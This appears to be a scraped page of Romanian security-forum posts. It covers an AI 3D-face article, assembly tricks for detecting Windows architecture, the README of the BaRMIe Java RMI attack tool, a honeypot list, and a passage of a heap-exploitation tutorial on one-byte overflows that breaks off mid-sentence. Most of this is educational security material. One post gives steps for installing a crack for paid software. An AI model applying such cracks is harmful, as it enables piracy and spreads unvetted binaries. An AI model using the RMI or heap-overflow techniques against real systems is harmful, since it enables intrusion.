Leaderboard

A group of AI experts from The University of Nottingham and Kingston University managed to create a new method by which two-dimensional images of faces can be converted into 3D using machine learning. The researchers trained a convolutional neural-network to perform the task by feeding it tons of data on people’s faces. From there it figured out how to guess what a new face looks like from an previously unseen pic, including parts that it can’t see in the photograph. The 3D computer vision project really has to be seen to be believed, and you can try it out in a nifty demo here. The website doesn’t really do the full technology justice, but it’s bloody cool. Members of the team, which consists of Aaron S. Jackson, Adrian Bulat, Vasileios Argyriou, and Georgios Tzimiropoulos, will be presenting their work next month at the International Conference on Computer Vision in Venice. Aaron Jackson told via email: "The website demonstrating it was a quick mashup over the course of a few evenings. I basically made it because I thought seeing yourself in 3D is fun. A lot of research in computer vision is hard to present in a fun way because it’s things like new methods for detecting points on a face." An artificial intelligence that can turn pictures into faces is the tip of the iceberg here. The implications go far beyond amusing technology journalists for hours at a time with a website. In reality computer vision is one of the most useful purposes for deep learning and we can’t wait to see what Jackson and his fellow developers do next. Sursa: https://safeum.com/blog/2738-this-ai-program-can-make-3d-face-models-from-a-selfie.html

September 24, 2017 Detecting Architecture in Windows Leave a comment After a while I thought of posting something interesting I noticed. Some of you know this old method of detecting the architecture using the CS segment register. This was also used in the Kronos malware 1 2 3 xor eax,eax mov ax,cs shr eax,5 I had a look at the segment registers last night and I found out that we can use ES, GS and FS segment registers for detecting the architecture as well. Using ES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ; Author : @OsandaMalith main: xor eax,eax mov ax,es ror ax, 0x3 and eax,0x1 test eax, eax je thirtytwo invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION jmp exit thirtytwo: invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION exit: invoke ExitProcess, 0 Using GS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ; Author : @OsandaMalith main: xor eax, eax mov eax, gs test eax, eax je thirtytwo invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION jmp exit thirtytwo: invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION exit: invoke ExitProcess, 0 .end main Using TEB Apart from that, you can also use TEB + 0xc0 entry which is ‘WOW32Reserved’. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ; Author : @OsandaMalith main: xor eax, eax mov eax, [FS:0xc0] test eax, eax je thirtytwo invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION jmp exit thirtytwo: invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION exit: invoke ExitProcess, 0 .end main I included all in one and coded a small C application. I’m sure there might be many other tricks to detect the architecture. This might come handy in shellcoding #include <Windows.h> #include <wchar.h> /* * Author: Osanda Malith Jayathissa - @OsandaMalith * Website: https://osandamalith.com * Description: Few tricks that you can use to detect the architecture in Windows * Link : http://osandamalith.com/2017/09/24/detecting-architecture-in-windows/ */ BOOL detectArch_ES() { #if defined(_MSC_VER) _asm { xor eax, eax mov ax, es ror ax, 0x3 and eax, 0x1 } #elif defined(__GNUC__) asm( ".intel_syntax noprefix;" "xor eax, eax;" "mov ax, es;" "ror ax, 0x3;" "and eax, 0x1;" ); #endif } BOOL detectArch_GS() { #if defined(_MSC_VER) _asm { xor eax, eax mov ax, gs } #elif defined(__GNUC__) asm( ".intel_syntax noprefix;" "xor eax, eax;" "mov ax, gs;" ); #endif } BOOL detectArch_TEB() { #if defined(_MSC_VER) _asm { xor eax, eax mov eax, fs:[0xc0] } #elif defined(__GNUC__) asm( ".intel_syntax noprefix;" "xor eax, eax;" "mov eax, fs:[0xc0];" ); #endif } int main(int argc, char* argv[]) { wprintf( !detectArch_ES() ? L"You are Running 32-bit\n" : L"You are Running 64-bit\n" ); wprintf( !detectArch_GS() ? L"You are Running 32-bit\n" : L"You are Running 64-bit\n" ); wprintf( !detectArch_TEB() ? L"You are Running 32-bit\n" : L"You are Running 64-bit\n" ); return 1337; } view raw detectArch.c hosted with by GitHub Sursa: https://osandamalith.com/2017/09/24/detecting-architecture-in-windows/

Pentru cei interesati, tot Andrew Ng preda si o serie de cursuri mai avansate despre Deep Learning. https://www.coursera.org/specializations/deep-learning

ADS stands for Alternate Data Stream. It is a file attribute only found on the NTFS file system. ADS is the lesser known feature of Windows NTFS file system which provides the ability to put data into existing files and folders without affecting their functionality and size. It is used legitimately by Windows and other applications to store additional information (for example summary information) for the file. Even 'Internet Explorer' adds the stream named 'Zone.Identifier' to every file downloaded from the internet. ADS have been given a bad reputation because their capability to hide data from us on our own computer, has been abused by malware writers in the past. More info: Technet Microsoft Blog Malware Bytes Blog on ADS ADS on rootkitanalytics.com More on NTFS Tool to identify ADS on Windows Systems: ADS-Revealer Stay safe!

Email Verifier Pro 6.3 Download link: Virus Total: SHA256: 27015b1b850fa74feabc49db630c3231415099979b766345ccf312c006604853 SHA1: fdf679c43e137e71fdefd5ccc2b3fed6ad66555f MD5: 27a6807f6935401c57d39e21c7de5ea4 File size: 9.6 MB ( 10089694 bytes ) File name: Email Verifier6.3.rar File type: RAR Tags: rar Detection ratio: 0 / 45 Analysis date: 2013-02-13 10:39:44 UTC ( 4 hours, 9 minutes ago ) Notes 1.Run email_verifier_pro_setup.exe ,dar nu rula programul. 2.Copiaza crackul Common.dll si EmailVerifier.exe in folderul in care sa instalat email_verifier_pro_setup.exe 3.Enjoy free $74.95

https://www.humblebundle.com/books/hacking-reloaded-books

If you’re a target for either financially motivated cyber-criminals, or nation state grade attackers, chances are your security team feels outgunned — the bad guys have the time, the skills, and the resources to affect a data-breach, and they only have to succeed once, while your security team has to get it right every time. What if you could turn the tables on them? Deception technology excels at detecting these attacks by shifting the cognitive, economic and time costs of the attack back onto the attacker. The principles of deception have been around for years, and recently, they’ve become the secret weapon of purple teams and threat hunters worldwide. The good news is, you can get started seeing the benefits of deception for free using a plethora of open-source honeypots that you can deploy immediately. We’re firm believers that deception is so crucial to detecting lateral movement, uncovering privilege escalation, and building threat intelligence, that any deception, even old-school honeypots are valuable. Whenever we’re on the road, we make it a point to give a shout-out to some of these tools, and will happily help you plan how you can use them. For free, no strings attached. Just get in touch! Caveat Emptor: You get what you pay for — Some of these tools may no longer be supported, and will require leg-work to get going, but they’re a great way to get familiar with deception. They’re also emulations, not real systems, so don’t expect high-interaction activity. While we’ll offer friendly advice around how you can use them, we don’t officially support them. For more on planning effective deception, check out our strategy focused blog-posts: 10 Questions To Ask Your Deception Provider 7 Deadly Sins – How to Fail at Implementing Deception Network services Cowrie – Cowrie is an SSH honeypot based off an earlier favourite called Kippo. It will emulate an interactive SSH server with customisable responses to commands. Another alternative is HonSHH which sits between a real SSH server and the attacker, MiTMing the connection and logging all SSH communications. Dionaea is a multi-protocol honeypot that covers everything from FTP to SIP (VoIP attacks). Where it really excels is for SMB decoys. It can even simulate malware payload execution using LibEmu to analyse multi-part stagers. IOT (Internet of Things) decoys Honeything emulates the TR-069 WAN management protocol, as well as a RomPager web-server, with vulnerabilities. Other IoT decoys can be created by emulating embedded telnet / FTP servers, for example with BusyBox. SCADA/ICS decoys ConPot emulates a number of operational technology control systems infrastructure, including protocols like MODBUS, DNP3 and BACNET. It comes with a web-server that can emulate a SCADA HMI as well. GasPot emulates a Veeder Root Gaurdian AST that is commonly used for monitoring in the oil and gas industry. Database and NoSQL honeypots MongoDB-HoneyProxy emulates an insecure MongoDB database. Hackers regularly scan the interwebs looking for administrators who had an ‘oops moment’ and exposed their DB to the world. ElasticHoney emulates an ElasticSearch instance, and looks for attempted remote code execution. Credential honeypots and honeytokens DCEPT by Dell SecureWorks places deceptive credentials in Microsoft’s Active Directory. Canarytokens by the great guys at Thinkst let you place different types of decoy data across your systems, waiting for an attacker to trigger them. Honeyclients and malware analysis Thug is a ‘honeyclient’ that mimics the behaviour of a web-browser to analyse client-side exploits. It can be used to analyse dodgy links, determining whether they serve up malicious JavaScript, ActiveX or Flash components. It can download payload samples and integrates with VirusTotal to analyse what gets served. Cuckoo Sandbox is not really a honeypot, but it’s a great sandbox for malware analysis. You can safely and programmatically execute possible malware samples, including binaries, Microsoft Office documents and emails within a Cuckoo VM and receive a full report on what code executed, what file / registry changes were made, and what network callbacks were observed. Pair it with VMCloak to automatically build sandbox VM’s that are harder for malware to fingerprint. All-in-One Honeydrive is a GNU/Linux distribution that comes pre-installed with a lot of active defence capabilities. Consider it the anti-Kali. MHN combines Snort, Kippo, Dionaea and Conpot, and wraps them for easy installation and use. Setting up most of these in a lab should be a fairly simple weekend project for the seasoned security professional. You can then run red-team style attacks against them to figure out exactly what sort of telemetry you can expect. Finally, you can tweak the source to reduce how easily they can be fingerprinted (don’t forget to submit patches to the authors if you do). If you’d like to take the next step with professional deception technology, check out our IllusionBLACK platform by seeing a live demo. Sursa: https://www.smokescreen.io/practical-honeypots-a-list-of-open-source-deception-tools-that-detect-threats-for-free/

BaRMIe BaRMIe is a tool for enumerating and attacking Java RMI (Remote Method Invocation) services. RMI services often expose dangerous functionality without adequate security controls, however RMI services tend to pass under the radar during security assessments due to the lack of effective testing tools. In 2008 Adam Boulton spoke at AppSec USA (YouTube) and released some RMI attack tools which disappeared soon after, however even with those tools a successful zero-knowledge attack relies on a significant brute force attack (~64-bits/9 quintillion possibilities) being performed over the network. The goal of BaRMIe is to enable security professionals to identify, attack, and secure insecure RMI services. Using partial RMI interfaces from existing software, BaRMIe can interact directly with those services without first brute forcing 64-bits over the network. Download version 1.0 built and ready to run here: https://github.com/NickstaDB/BaRMIe/releases/download/v1.0/BaRMIe_v1.0.jar Disclaimer BaRMIe was written to aid security professionals in identifying insecure RMI services on systems which the user has prior permission to attack. Unauthorised access to computer systems is illegal and BaRMIe must be used in accordance with all relevant laws. Failure to do so could lead to you being prosecuted. The developers of BaRMIe assume no liability and are not responsible for any misuse or damage caused by this program. Usage Use of BaRMIe is straightforward. Run BaRMIe with no parameters for usage information. $ java -jar BaRMIe.jar ▄▄▄▄ ▄▄▄ ██▀███ ███▄ ▄███▓ ██▓▓█████ ▓█████▄ ▒████▄ ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█ ▀ ▒██▒ ▄██▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▓██░▒██▒▒███ ▒██░█▀ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ ▒██ ░██░▒▓█ ▄ ░▓█ ▀█▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ ░██▒░██░░▒████▒ ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ░ ░░▓ ░░ ▒░ ░ ▒░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ v1.0 Java RMI enumeration tool. Written by Nicky Bloor (@NickstaDB) Warning: BaRMIe was written to aid security professionals in identifying the insecure use of RMI services on systems which the user has prior permission to attack. BaRMIe must be used in accordance with all relevant laws. Failure to do so could lead to your prosecution. The developers assume no liability and are not responsible for any misuse or damage caused by this program. Usage: BaRMIe -enum [options] [host] [port] Enumerate RMI services on the given endpoint(s). Note: if -enum is not specified, this is the default mode. BaRMIe -attack [options] [host] [port] Enumerate and attack the given target(s). Options: --threads The number of threads to use for enumeration (default 10). --timeout The timeout for blocking socket operations (default 5,000ms). --targets A file containing targets to scan. The file should contain a single host or space-separated host and port pair per line. Alternatively, all nmap output formats are supported, BaRMIe will parse nmap output for port 1099, 'rmiregistry', or 'Java RMI' services to target. Note: [host] [port] not supported when --targets is used. Reliability: A +/- system is used to indicate attack reliability as follows: [+ ]: Indicates an application-specific attack [- ]: Indicates a JRE attack [ + ]: Attack insecure methods (such as 'writeFile' without auth) [ - ]: Attack Java deserialization (i.e. Object parameters) [ +]: Does not require non-default dependencies [ -]: Non-default dependencies are required Enumeration mode (-enum) extracts details of objects that are exposed through an RMI registry service and lists any known attacks that affect the endpoint. Attack mode (-attack) first enumerates the given targets, then provides a menu system for launching known attacks against RMI services. A single target can be specified on the command line. Alternatively BaRMIe can extract targets from a simple text file or nmap output. No Vulnerable Targets Identified? Great! This is your opportunity to help improve BaRMIe! BaRMIe relies on some knowledge of the classes exposed over RMI so contributions will go a long way in improving BaRMIe and the security of RMI services. If you have access to JAR files or source code for the target application then producing an attack is as simple as compiling code against the relevant JAR files. Retrieve the relevant remote object using the LocateRegistry and Registry classes and call the desired methods. Alternatively look for remote methods that accept arbitrary objects or otherwise non-primitive parameters as these can be used to deliver deserialization payloads. More documentation on attacking RMI and producing attacks for BaRMIe will be made available in the near future. Alternatively, get in touch, and provide as much detail as possible including BaRMIe -enum output and ideally the relevant JAR files. Attack Types BaRMIe is capable of performing three types of attacks against RMI services. A brief description of each follows. Further technical details will be published in the near future at https://nickbloor.co.uk/. In addition to this, I presented the results of my research at 44CON 2017 and the slides can be found here: BaRMIe - Poking Java's Back Door. 1. Attacking Insecure Methods The first and most straightforward method of attacking insecure RMI services is to simply call insecure remote methods. Often dangerous functionality is exposed over RMI which can be triggered by simply retrieving the remote object reference and calling the dangerous method. The following code is an example of this: //Get a reference to the remote RMI registry service Registry reg = LocateRegistry.getRegistry(targetHost, targetPort); //Get a reference to the target RMI object Foo bar = (Foo)reg.lookup(objectName); //Call the remote executeCommand() method bar.executeCommand(cmd); 2. Deserialization via Object-type Paraeters Some RMI services do not expose dangerous functionality, or they implement security controls such as authentication and session management. If the RMI service exposes a method that accepts an arbitrary Object as a parameter then the method can be used as an entry point for deserialization attacks. Some examples of such methods can be seen below: public void setOption(String name, Object value); public void addAll(List values); 3. Deserialization via Illegal Method Invocation Due to the use of serialization, and insecure handling of method parameters on the server, it is possible to use any method with non-primitive parameter types as an entry point for deserialization attacks. BaRMIe achieves this by using TCP proxies to modify method parameters at the network level, essentially triggering illegal method invocations. Some examples of vulnerable methods can be seen below: public void setName(String name); public Long add(Integer i1, Integer i2); public void sum(int[] values); The parameters to each of these methods can be replaced with a deserialization payload as the method invocation passes through a proxy. This attack is possible because Java does not attempt to verify that remote method parameters received over the network are compatible with the actual parameter types before deserializing them. Sursa: https://github.com/NickstaDB/BaRMIe

Cauti masina timpului, calatoresti in 2013(ANUL IN CARE A FOST FACUT TOPICUL) si ii faci o muie lu' Tuhan7S.

via : https://micahflee.com/2017/04/breaking-the-security-model-of-subgraph-os/ ... stiu autorul e implicat in echipa Qube OS

Triton is a dynamic binary analysis (DBA) framework. It provides internal components like a Dynamic Symbolic Execution (DSE) engine, a Taint Engine, AST representations of the x86 and the x86-64 instructions set semantics, SMT simplification passes, an SMT Solver Interface and, the last but not least, Python bindings. Based on these components, you are able to build program analysis tools, automate reverse engineering and perform software verification. As Triton is still a young project, please, don't blame us if it is not yet reliable. Open issues or pull requests are always better than troll =). A full documentation is available on our doxygen page. Quick start Description Installation Examples Presentations and Publications Internal documentation Dynamic Symbolic Execution Symbolic Execution Optimizations AST Representations of Semantics SMT Semantics Supported SMT Solver Interface SMT Simplification Passes Spread Taint Tracer Independent Python Bindings News A blog is available and you can follow us on twitter @qb_triton or via our RSS feed. Support IRC: #qb_triton@freenode Mail: triton at quarkslab com Authors Jonathan Salwan - Lead dev, Quarkslab Pierrick Brunet - Core dev, Quarkslab Florent Saudel - Core dev, Bordeaux University Romain Thomas - Core dev, Quarkslab Cite Triton @inproceedings{SSTIC2015-Saudel-Salwan, author = {Florent Saudel and Jonathan Salwan}, title = {Triton: A Dynamic Symbolic Execution Framework}, booktitle = {Symposium sur la s{\'{e}}curit{\'{e}} des technologies de l'information et des communications, SSTIC, France, Rennes, June 3-5 2015}, publisher = {SSTIC}, pages = {31--54}, year = {2015}, } Sursa: https://github.com/JonathanSalwan/Triton

Interesting method! Always useful to perform such tasks purely through assembly language instead of calling some API

Nice writeup on Retefe Banking Trojan which is being spread through Word Documents to Swiss users. The article also describes in detail how Retefe Banking Trojan deploys TOR and Socat on the machine to setup a SOCKS proxy as a backdoor. http://www.pwncode.club/2017/09/deep-dive-into-retefe-banking-trojan.html

Salut, Un curs introductiv despre Machine Learning, predat de Andrew Ng: https://www.coursera.org/learn/machine-learning Can I take this course for free? You can access all videos, readings, and discussions, free of charge. You can also submit assignments and earn a grade for free. If you want to earn a Course Certificate, you can subscribe or apply for financial aid. About Andrew Ng: Andrew was a professor at Stanford University Department of Computer Science. He taught students and undertook research related to data mining and machine learning. From 2011 to 2012, he worked at Google, where he founded and led the Google Brain Deep Learning Project. In 2012, he co-foundedCoursera to offer free online courses for everyone. In 2014, he joinedBaidu as Chief Scientist, and carried out research related to big data and A.I. In March 2017, he announced his resignation from Baidu. - https://en.wikipedia.org/wiki/Andrew_Ng About this course: Machine learning is the science of getting computers to act without being explicitly programmed. In the past decade, machine learning has given us self-driving cars, practical speech recognition, effective web search, and a vastly improved understanding of the human genome. Machine learning is so pervasive today that you probably use it dozens of times a day without knowing it. Many researchers also think it is the best way to make progress towards human-level AI. In this class, you will learn about the most effective machine learning techniques, and gain practice implementing them and getting them to work for yourself. More importantly, you'll learn about not only the theoretical underpinnings of learning, but also gain the practical know-how needed to quickly and powerfully apply these techniques to new problems. Finally, you'll learn about some of Silicon Valley's best practices in innovation as it pertains to machine learning and AI. This course provides a broad introduction to machine learning, datamining, and statistical pattern recognition. Topics include: (i) Supervised learning (parametric/non-parametric algorithms, support vector machines, kernels, neural networks). (ii) Unsupervised learning (clustering, dimensionality reduction, recommender systems, deep learning). (iii) Best practices in machine learning (bias/variance theory; innovation process in machine learning and AI). The course will also draw from numerous case studies and applications, so that you'll also learn how to apply learning algorithms to building smart robots (perception, control), text understanding (web search, anti-spam), computer vision, medical informatics, audio, database mining, and other areas.

https://create.arduino.cc/projecthub/RobSmithDev/arduino-amiga-floppy-disk-reader-writer-v2-239c97

Screenshots Description IMPORTANT: This app works with Windows 10 Pro and Home but not with Windows 10 S. We've updated WinDbg to have more modern visuals, faster windows, a full-fledged scripting experience, and Time Travel Debugging, all with the easily extensible debugger data model front and center. WinDbg Preview is using the same underlying engine as WinDbg today, so all the commands, extensions, and workflows you're used to will still work as they did before. See http://aka.ms/windbgblog and https://go.microsoft.com/fwlink/p/?linkid=854349 for more information! Sursa: https://www.microsoft.com/en-us/store/p/windbg-preview/9pgjgd53tn86

Linux Heap Exploitation Intro Series: The magicians cape – 1 Byte Overflow Reading time ~21 min Posted by javier on 20 September 2017 Categories: Heap, Heap linux, Heap overflow Intro Hello again! It’s been a while since the last blog post. This is due to not having as much time as we wanted but hopefully you all kept the pace with this heapy things as they are easy to forget due to the heavy amount of little details the heap involves. On this post we are going to demonstrate how a single byte overflow, with a user controlled value, can cause chunks to disappear for the implementation like a magician puts a cape on top of objects (chunks) and makes them disappear. The Vulnerability Preface For the second part of our series we are going for another rather common vulnerability happening out there. From my own experience, it sometimes confusing and hard to get the sizes right for elements (be it arrays, allocations, variables in general) because of the confusion between declaring “something” and actually accessing each element (i.e. byte) of that “something”. I know, sounds weird, but look at the following code: int array_of_integers[10]; // (1) int i; for (i = 1; i <= 10; i++) // (2) { array_of_integers[i] = 1; // (3) } In this code, we wanted to have an array of ten integers (1) and then iterate over the array (2) and set every element of the array to the number 1. As you might or might not know, the first element of an array is not the number one, in C, these start with zero (array_of_integers[0]). What will happen here is that when the variable i reaches 10, the code will try to write to array_of_integers[10] which is not allocated, effectively doing out-of-bounds write, exactly 4 bytes more than expected as 4 bytes is the size of an int. Also, keeping the pace up with ptmalloc2 implementation and to keep these blog posts as “fresh” and “new” as possible, here we have a fairly new exploit against SAPCAR (CVE-2017-8852) by CoreSecurity that takes advantage of a buffer overflow happening in the heap. It’s an easy and cool read! What This kind of vulnerability falls into the category of buffer overflows or out-of-bounds. Specifically in this blog post we are going to see what could happen in the case of an out-of-bounds 1 byte write. At first glance one could think there is not many possibilities on just writing one byte but, if we remember how an allocated chunk is placed into memory we begin to “believe”: +-+-+-+-+-+-+-+-+-+-+-+-+ | PREV_SIZE OR USER DATA| <-- Previous Chunk Data (OVERFLOW HERE) +-----------------+-+-+-+ <-- Chunk start | CHUNK SIZE |A|M|P| +-----------------+-+-+-+ | USER DATA | | | | - - - - - - - -| | PREV_SIZE OR USER DATA| +-----------------------+ <-- End of chunk As we can see, 1 byte overwrite will mess up the Main Arena (A), Is MMaped (M) and Previous in-use (P) bits as well as overwriting the first byte of the CHUNK SIZE. The implications of this type of vulnerability (cliché) are endless: changing the previous in-use bit leading to strange memory corruptions that when free()‘ing, maliciously crafted memory, would lead to arbitrary overwrite (overwriting pointers to functions), shrinking or growing adjacent chunks by tampering with the next chunk’s size thus leading to chunks overlapping or memory fragmentation which would lead to use-after-invalidation bugs (memory leaks, use-after-free, etc.). When stars collide one byte To prepare the scenario for this kind of vulnerability, I inspired myself heavily on the Forgotten Chunks[1] paper by Context. I took my own way in the sense that I decided to build two proof of concepts for the techniques described there as well as a challenge for you to test out! One byte write In this scenario we count with the following: There are three allocated chunks and the first of them A, is the vulnerable one to our one byte overflow. To simplify things; we can write into the first two chunks A and B but not into the third chunk C. We can read from all of them. Let’s see the initial state of the heap of this in our beloved chunky-ascii-art. +---HEAP GROWS UPWARDS | | +-+-+-+-+-+-+ | | CHUNK A | <-- Read/Write | +-----------+ | | CHUNK B | <-- Read/Write | +-----------+ | | CHUNK C | <-- Read | +-----------+ | | TOP | | | | V | | +-----------+ Our goal is to write into chunk C. To do so we would need the following to happen. 1 – Previous to any overflows and to prevent memory corruptions because we are going to overflow into chunk B, the first thing to make happen is to free() chunk B. +---HEAP GROWS UPWARDS | | +-+-+-+-+-+-+ | | CHUNK A | <-- Read/Write | +-----------+ | | FREE B | | +-----------+ | | CHUNK C | <-- Read | +-----------+ | | TOP | | | | V | | +-----------+ 2 – Now that chunk B is free, we are going to trigger the one byte overflow that is present in chunk A and overflow one byte into chunk B. This will change the first byte of chunk’s B size – in our case, we will make it grow. Let’s say that our chunks are of the following sizes: A(0x100-WORD_SIZE), B(0x100-WORD_SIZE), C(0x40-WORD_SIZE) Let me state that WORD_SIZE is a variable that will be 8 on 64bit systems and 4 on 32bit systems. This was already explained in the Painless Intro to ptmalloc2 blog post but again: This WORD_SIZE is subtracted from the size we actually want because it is the size that the chunk’s size header will take in memory so, to keep the chunks within the size we expect (0x100 or 0x40) we subtract the size header’s size (WORD_SIZE) to prevent padding to the next WORD_SIZE*2 size. I know this is too condensed but it is a must to be able to understand this to proceed. By now we can see where all this goes, right? That’s it, we are about to overwrite chunk’s B size to make it be as big enough to have B+C size. So, we know that B is 0x100 and C is 0x40, then let me ask you a question: With which byte would we need to overflow A so that it puts it into B‘s size to completely overlap C on a 64bit system? a) 0x40 0x41 c) 0x48 That’s right, none of them. We shouldn’t be choosing values ending in zero or an even number because all of these, in binary, translate to leaving the last bit unset. This means that the PREV_INUSE bit will be set to zero creating a memory corruption in some cases as chunk A is not really free. That leaves 0x40 and 0x48 out. If you have chosen 0x48, you might know the reason why 0x41 is not valid to completely overlap C: Because we need to add 8 bytes due to C‘s size header length placed just after B. The right answer is 0x51 as it keeps the PREV_INUSE bit set and is the next 16 byte padded size to 0x40. Enough chit-chat, but it was necessary. Remember that B is free()‘d, so B->fd and B->bk (pointers to next’s and previous free chunks if any) are set as well as the next’s chunk (C) PREV_SIZE: -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| +-----------------+-+-+-+ |FREE B SIZE = \x01\x51| <-- Size Overflown 0x151 +-----------------+-+-+-+ |B->fd = main_arena->TOP| |B->bk = main_arena->TOP| +-----------------------+ |PREV_SIZE B = \x01\x01| <-- PREV_SIZE now doesn't match B size +-----------------------+ |CHUNK C SIZE = \x41| <-- 0x100 + 0x1 +-----------------+-+-+-+ | | | | | | | | +-----------------------+ | TOP | <-- B->fd and B->fk point here +-----------------------+ | | | | | | | | +-----------------------+ 3 – Ok! The buffer overflow is triggered now and chunk’s B size has been changed to 0x151. What should happen now to overlap into chunk C? We would need an allocation of a size near to: old B size + C size = 0x100 + 0x40. When the following allocation happens: B = malloc(0x100+0x40); Chunk B will be now overlapping chunk C in its entirety as we can see in the following figure. -=Data gets populated from right to left and from top to bottom=- <--- 8 bytes wide ---> +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| +-----------------+-+-+-+ |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| +-----------------+-+-+-+ |CHUNK B SIZE = \x01\x51| <-- Size Overflown 0x151 +-----------------+-+-+-+ |B->fd = main_arena->TOP| <-- Even if allocated... |B->bk = main_arena->TOP| <-- ...memory isn't cleared and... +-----------------------+ |PREV_SIZE B = \x01\x01| <-- ...values are kept in memory. +-----------------------+ |CHUNK C SIZE = \x41| +-----------------+-+-+-+ | | | | | | | | +-----------------------+ <-- B now takes up to here (1) | TOP | +-----------------------+ | | | | | | | | +-----------------------+ (1) The “mathemata” out there must have spotted that chunk B actually goes 8 bytes into TOP but that is not a problem for us for now. 4 – As a last step, we would just need to write into chunk B at our desired position, effectively achieving our main goal: Writing into chunk C. -=Data gets populated from right to left and from top to bottom=- <--- 8 bytes wide ---> +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| +-----------------+-+-+-+ |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| +-----------------+-+-+-+ |CHUNK B SIZE = \x01\x51| +-----------------+-+-+-+ |x42\x42\x42\x42\x42\x42| <-- Setting all B to hex('B') = '\x42' |x42\x42\x42\x42\x42\x42| +-----------------------+ |x42\x42\x42\x42\x42\x42| +-----------------------+ |x42\x42\x42\x42\x42\x42| +-----------------+-+-+-+ |x42\x42\x42\x42\x42\x42| <-- chunk C got overlapped and written |x42\x42\x42\x42\x42\x42| |x42\x42\x42\x42\x42\x42| |x42\x42\x42\x42\x42\x42| +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Cool. If previous to filling all of chunk B with \x42, the “magically disappeared” chunk C gets free()‘d we will be able to leak pointers to main_arena->top by reading the contents of B. Also if C is still used, we can control the data inside it by writing on high positions at B. There are many more possibilities! One null byte write This scenario is initially the same as the previous one except that the sizes are A(0x100), B(0x250) and C(0x100); also, we can only overflow with a null byte \x00. As the first steps are the same as the one byte write, we are going straight into the null byte overflow. Note that this is more likely to happen because in C, all strings must be terminated with the “null byte”. Our goal here is to make the implementation forget about an allocated chunk by overlapping it with free space. 1 – We overflow in the same way as before but what is going to happen is a pretty much different thing than before. We are shrinking the size of chunk B from 0x250 to 0x200. -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| <-- ANY STRING CAN GO HERE | EB LLIW TI ESUACEB| <-- BECAUSE IT WILL BE | DETANIMRET LLUN| <-- NULL TERMINATED |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |FREE B SIZE = \x02\x00| <-- Size byte overflown 0x250 --> 0x200 +-----------------+-+-+-+ |B->fd = main_arena->TOP| |B->bk = main_arena->TOP| | | | | <-- Free B ends here now (1) | | | | +-----------------------+ <-- Free space still ends here (2) |PREV_SIZE B = \x02\x50| <-- C PREV_SIZE doesn't match B size +-----------------------+ |CHUNK C SIZE = \x01\x00| <-- PREV_INUSE is zero now. +-----------------+-+-+-+ | | | | +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Chunk B has shrunk (1) and this will have its consequences. The first and easiest to see is that chunk’s C PREV_SIZE (remember that this value is used to merge free chunks) is different from the actual chunk’s B size. The second consequence is that for the implementation, the free space between chunk A and chunk C (2) is somewhat “divided” from the implementation’s perspective (it is corrupted already). This consequences together have a third and final consequence. If we allocate two new chunks (J and K) of smaller size than 0x200/2 (0x100)… 2 – … the implementation is going to properly allocate these in the space of chunk B because there is space for two chunks of size, let’s say, 0x80. -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| | EB LLIW TI ESUACEB| | DETANIMRET LLUN| |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |CHUNK J SIZE = \x00\x81| +-----------------+-+-+-+ | | | | +-----------------------+ |CHUNK K SIZE = \x00\x81| +-----------------------+ | | | | +-----------------------+ |PREV_SIZE B = \x02\x50| <-- C PREV_SIZE doesn't match B size +-----------------------+ |CHUNK C SIZE = \x01\x00| +-----------------+-+-+-+ | | | | +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Not much to explain about two simple allocations. This leads us onto the final part. Can you see which chunk is about to disappear to the implementation (Forgotten Chunk)? 3 – Finally if we free() chunk J and chunk C in that order the unlink macro will kick in and merge both chunks into one free space. So, which chunk is between the cape formed by chunk’s J and C? That’s right, the newly allocated chunk K. First chunk J is free()‘d – note that K‘s PREV_INUSE is zero now due to the previous chunk J being free. -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| | EB LLIW TI 